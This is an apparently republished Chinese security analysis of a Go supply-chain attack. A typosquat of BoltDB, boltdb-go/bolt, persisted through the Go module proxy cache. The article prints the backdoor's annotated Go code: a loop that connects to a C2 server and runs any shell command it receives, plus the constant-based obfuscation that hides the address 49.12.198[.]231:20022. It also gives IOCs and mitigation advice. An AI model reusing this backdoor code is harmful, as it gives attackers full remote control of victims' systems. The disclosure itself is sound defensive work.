摘要
安全团队发现新型 Golang 供应链攻击:恶意包通过模块代理缓存机制实现永久驻留,伪装成主流数据库组件植入远程控制后门,数千项目面临"傀儡化"风险。
要点总结
-
精准钓鱼:攻击者注册高仿包名 boltdb-go/bolt
,利用开发者拼写错误实施精准投毒 -
缓存永生:首次上传恶意版本即被Go模块代理永久缓存,即使GitHub源码被清洗仍持续传播 -
隐身术:通过动态解析加密C2地址、拆解恶意代码到多个文件,完美躲避人工审查 -
傀儡操控:后门建立双向通信隧道,攻击者可对受感染主机执行任意系统级指令 -
生态软肋:暴露Go模块不可变性设计的双刃剑效应,缓存机制反成攻击者护盾 -
防御启示:须采用代码行为分析工具(如Socket)穿透表象,实时监控依赖包实际运行逻辑
前言
研究人员在 Go 生态系统中发现了一款恶意的拼写错误软件包(typosquat),它冒充被广泛使用的 BoltDB
数据库模块(github.com/boltdb/bolt),这是许多组织(包括 Shopify 和 Heroku)信任的工具。BoltDB
软件包在 Go 生态系统中被广泛采用,已有 8,367 个其他软件包依赖于它。其在数千个项目中的广泛使用使得 BoltDB
在 Go 社区中成为最显著和可靠的模块之一。
该恶意软件包 github.com/boltdb-go/bolt 包含一个后门,允许远程代码执行,使攻击者能够通过命令与控制(C2)服务器控制受感染的系统。该恶意软件在 Go 模块镜像服务被缓存后,攻击者在 GitHub 上策略性地修改了 git
标签,以消除恶意代码的痕迹,从而隐藏于手动代码审查之下。
截至目前,该恶意软件包仍然在 Go 模块代理中处于可下载状态。我们已正式请求将其从模块镜像中移除,并报告了用于分发带后门的 boltdb-go
软件包的攻击者的 GitHub 仓库和账户。
此攻击是首次记录的利用 Go 模块镜像无限期缓存的恶意行为。尽管之前没有公开报告过此类案例,但这一事件突显了对未来类似持久化策略提高警觉的迫切需要。由于不可变模块提供了安全优势和潜在的滥用途径,开发人员和安全团队应监控利用缓存模块版本来逃避检测的攻击。
隐秘的 Go 供应链攻击:从拼写错误到持久化
攻击者(使用 GitHub 别名“boltdb-go”)最初在 GitHub 上发布了恶意版本 v1.3.1
,该版本随后被 Go 模块镜像服务无限期缓存。软件包被缓存后,攻击者修改了 GitHub 标签,使其指向一个干净、合法的版本,从而确保手动审计 GitHub 仓库时不会发现任何恶意代码。然而,由于 Go 的缓存机制,开发人员使用 go
命令行工具安装软件包时,仍然会从 Go 模块镜像下载到缓存的恶意版本,而不是更新后的无害版本。
攻击者创建了一个恶意软件包,拼写错误地模仿了合法的
BoltDB
。一旦安装,该带后门的软件包便授予攻击者对受感染系统的远程访问权限,允许其执行任意命令。该恶意软件包于2021年11月上传至 Go 模块代理。
合法的
BoltDB
软件包被广泛使用,并受到 Go 编程语言生态系统中开发者的高度信任。
在 Go 编程生态系统中,Go 模块代理服务充当中介,缓存并提供 Go 软件包(模块)给开发人员。这种缓存机制提高了模块检索的效率和可靠性,并保护用户机器免受零日 git
客户端漏洞的影响。默认情况下,当开发人员使用 Go 的命令行工具下载或安装软件包时,他们的请求会自动通过该代理服务进行路由。
供应链攻击的展开过程如下:
-
攻击者创建了一个恶意 Go 软件包,其名称与合法的 boltdb/bolt
软件包几乎相同,选择了boltdb-go/bolt
。这一微妙的命名变体旨在误导开发人员选择恶意软件包,无论是通过拼写错误还是其他原因。 -
恶意软件包被发布到公共仓库,触发 Go 模块代理服务在首次请求时获取并缓存该软件包。一旦缓存,该软件包便在后续下载中持久可用。 -
在确保恶意软件包已被 Go 模块代理缓存后,攻击者修改了源仓库中的 Git
标签,将其重定向到一个合法的版本。这一具有欺骗性的策略确保手动检查 GitHub 仓库时不会发现恶意代码的痕迹,同时 Go 模块代理继续向毫不知情的开发人员提供缓存的恶意版本。值得注意的是,Go 模块镜像中恶意模块的.info
文件缺少通常会链接回 GitHub 仓库中恶意代码的已解析Git
提交 SHA 引用。
这一系列行为使得攻击者能够利用 Go 模块代理的缓存机制,确保该恶意软件包在开发人员中仍然可用,即使仓库的标签已被修改。
攻击者控制的 GitHub 仓库,旨在冒充合法的
boltdb/bolt
仓库。
合法的
boltdb/bolt
GitHub 仓库。由于该项目的规范仓库已被归档,开发人员被迫创建或接受活跃的分支,这反过来又增加了恶意或未经授权的修改被引入给毫不知情的最终用户的风险。
此次攻击的成功依赖于 Go 模块代理服务的设计,该服务优先考虑缓存以提高性能和可用性。一旦模块版本被缓存,即使原始源稍后被修改,它依然可以通过 Go 模块代理访问。虽然这种设计对合法用例有益,但攻击者却利用了这一点,持续分发恶意代码,尽管仓库随后发生了变化。
为什么 Go 模块是不可变的
Go 模块在发布并通过代理获取后是故意不可变的,确保每个用户在提取标记版本(例如,v1.2.3
)时每次都能收到完全相同的文件,防止在发布后发生静默更改或覆盖。这种不可变性是 Go 可再生构建的基础,帮助确保构建输出始终与相关源代码匹配。
它还提供了安全优势:如果一个库后来被攻陷,它不能悄悄替换已下载的代码。因为系统会检测到与 go.sum
中记录的校验和不匹配,尝试更改先前提取的版本将导致构建失败。
尽管不可变性可能被恶意行为者滥用——允许有害代码在缓存中持久存在——但它仍然是一个净安全利益。由于 Go 模块系统正常运作,这并不是一个安全漏洞,因此没有补丁或开关可以关闭不可变性;相反,开发人员必须认识到,一旦发布了恶意版本,它就会在缓存中保持恶意状态。
在2024年,社区评估引起了人们对 Go 模块代理中基于缓存的风险的关注。一份报告详细介绍了因代理默认行为自动缓存公共仓库中的软件包而引发的法律和操作问题。另一项评估强调这种缓存行为可能被利用来提供被妥协或恶意的模块,无论上游源是否经过后续清理。
手动审计 github.com/boltdb-go/bolt
的开发人员未发现恶意代码的痕迹。然而,通过 Go 模块代理 proxy.golang.org
下载软件包仍然检索到原始的带后门版本。这一欺骗行为在超过三年的时间里未被发现,允许恶意软件包在看似干净的公共仓库中持续存在。
Socket AI 扫描器将
boltdb-go/bolt
软件包标识为恶意,提供以下背景信息:“该文件包含一个Apilnit
函数,试图持续连接到一个隐藏域名(例如,example[.]com),并在未经过验证的情况下执行来自连接的 shell 命令。_r
函数掩盖了正在联系的实际域或地址,增加了嫌疑。这些功能构成了未授权远程代码执行的严重风险。”_
我们还发现了另一个拼写错误的 Go 软件包 github.com/bolt-db/bolt,同样模仿合法的 BoltDB
包。虽然该包不包含恶意代码,但我们已请求将其从模块镜像中移除,以防止潜在的滥用。
此外,我们已报告了相关的 GitHub 仓库和账户,以降低未来被利用的风险。尽管从一个归档的仓库派生并不本质上恶意,但在这种情况下,该分支基本上处于不活跃状态,仍保持着一个非常相似的名称,并出现在对规范项目的搜索中。这突显了在处理归档仓库时需要谨慎,因为这些仓库可能在官方维护结束多年后仍吸引用户和贡献者。
后门实现
boltdb-go/bolt
软件包是合法 BoltDB
软件包的木马版本,包含一个隐蔽的远程访问后门,嵌入在其他合法的数据库功能中。恶意代码旨在持久连接到一个位于模糊 IP 地址 49.12.198[.]231:20022
的远程 C2 服务器。一旦连接成功,它会监听命令,执行这些命令,并将输出返回给攻击者。这实际上授予了未授权的远程用户对运行此软件包的任何系统的完全控制权。
以下是来自 db.go
文件的恶意代码片段,已注释以突出攻击者用于建立和激活隐藏后门的技巧。
func ApiInit() { go func() { defer func() { // 持久化机制: // 如果函数发生恐慌(例如连接丢失),在30秒后重启 if r := recover(); r != nil { time.Sleep(30 * time.Second) ApiInit() } }() for { d := net.Dialer{Timeout: 10 * time.Second} // 模糊的 C2 连接: // 使用 _r() 构造隐藏的 IP 地址和端口 conn, err := d.Dial("tcp", _r(strconv.Itoa(MaxMemSize) + strconv.Itoa(MaxIndex) + ":" + strconv.Itoa(MaxPort))) if err != nil { // 隐蔽: // 如果连接失败,30秒后重试以避免立即被检测 time.Sleep(30 * time.Second) continue } // 远程命令执行循环 // 读取传入命令并执行 for { message, _ := bufio.NewReader(conn).ReadString('n') args, err := shellwords.Parse(strings.TrimSuffix(message, "n")) if err != nil { fmt.Fprintf(conn, "解析错误: %sn", err) continue } // 执行任意 shell 命令 var out []byte if len(args) == 1 { out, err = exec.Command(args[0]).Output() } else { out, err = exec.Command(args[0], args[1:]...).Output() } // 数据外流: // 将命令输出或错误发送回攻击者 if err != nil { fmt.Fprintf(conn, "%sn", err) } fmt.Fprintf(conn, "%sn", out) } } }()}
以下是来自 cursor.go
文件的恶意代码片段,已注释以说明攻击者用于模糊值的技巧,这些值随后被操控以构造 IP 地址。
const ( MaxMemSize = 64966512577 // 模糊的 IP 部分 MaxIndex = 6179852731 // 模糊的 IP 部分 MaxPort = 2060272 // 模糊的端口)
这些常量通过 _r()
函数结合和转换。
func _r(s string) string { // 字符串操作 / 模糊处理 // 将 '5' 替换为 '.',并删除 '6' 和 '7' 来掩饰 C2 地址 ret := strings.ReplaceAll(s, "5", ".") ret = strings.ReplaceAll(ret, "6", "") ret = strings.ReplaceAll(ret, "7", "") return ret}
转换前的原始值:
"649665125776179852731:2060272"
转换过程:'5' → '.',同时 '6' 和 '7' 被移除,最终输出如下。
"49.12.198[.]231:20022"
恶意功能分散在 boltdb-go/bolt
包的多个文件中,以逃避检测,其中 db.go
启动后门连接,而 cursor.go
则巧妙地引入误导性的常量,这些常量随后被转换为模糊的 IP 地址。_r()
函数动态重建攻击者的 C2 地址,确保标准静态分析工具无法轻易识别或标记恶意基础设施。后门在开发人员调用 Open()
时被激活,建立持久的 TCP 连接到 49.12.198[.]231:20022
,在此等待并执行攻击者的任意 shell 命令。此外,内置的重新初始化例程确保如果后门崩溃或失败,它会自动重启,从而保持对受损系统的持续访问。
攻击者使用托管在 Hetzner Online GmbH (AS24940) 上的干净、未标记的 IP,表明其具有较高的操作安全性,暗示该基础设施是专门为此次行动采购的,以避免过早检测和列入黑名单。与随机的恶意软件不同,此后门旨在融入受信任的开发环境,增加在发现之前广泛妨碍的可能性。
展望与建议
Go 编程语言因其高效、简单和强大的模块生态系统而受到赞誉。然而,正如此次事件所示,使得软件包能够无缝分发的相同机制,也可能被恶意利用进行软件供应链攻击。Go 模块代理的缓存机制的滥用使得恶意软件包能够在未被发现的情况下持久存在多年。这强调了在开源生态系统中采取主动安全措施的必要性,因为传统的审计方法可能无法发现复杂的威胁。
Socket 的 AI 扫描器在识别恶意代码方面发挥了关键作用。它通过分析实际安装的软件包内容,而不是单纯依赖代码仓库,来检测潜在的威胁。在本案例中,Socket 的 AI 扫描器标记了恶意的 boltdb-go/bolt
软件包,强调了检查实际安装内容的重要性,而不仅仅是检查出现在仓库中的内容。
为降低供应链威胁,开发人员应在安装前验证软件包完整性,分析依赖项中的异常,并使用安全工具在更深层次上检查安装的代码。确保 Go 模块生态系统能够抵御此类攻击,需持续保持警惕、改进安全机制,并提高对威胁行为者如何利用软件分发渠道的认识。
Socket 的 GitHub 应用 使得对拉取请求进行实时监控成为可能,能够在合并之前标记可疑或恶意软件包。在 Go 安装或构建过程中运行 Socket CLI 提供了额外的安全层,通过分析依赖文件(go.mod
和 go.sum
),识别异常、可疑行为和潜在的安全风险,确保在将它们纳入项目之前,开放源代码依赖项的安全性。此外,使用 Socket 浏览器扩展 提供即时保护,通过分析浏览活动,在用户下载或与恶意内容互动之前发出警告。通过将这些安全措施整合到开发工作流中,组织可以显著降低供应链攻击的可能性。
威胁指标 (IOCs)
-
恶意 Go 软件包: github.com/boltdb-go/bolt
-
威胁行为者 GitHub 别名: boltdb-go
-
C2 服务器: 49.12.198[.]231:20022
MITRE ATT&CK 技术
-
T1195.002 — 供应链妥协:妥协软件供应链 -
T1608.001 — 阶段能力:上传恶意软件 -
T1204.002 — 用户执行:恶意文件 -
T1036.005 — 冒充:匹配合法名称或位置 -
T1027 — 模糊文件或信息 -
T1571 — 非标准端口
以上内容编译自 Socket
原文始发于微信公众号(RedTeam):Golang 供应链攻击新手法:利用模块缓存实现恶意代码持久化
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论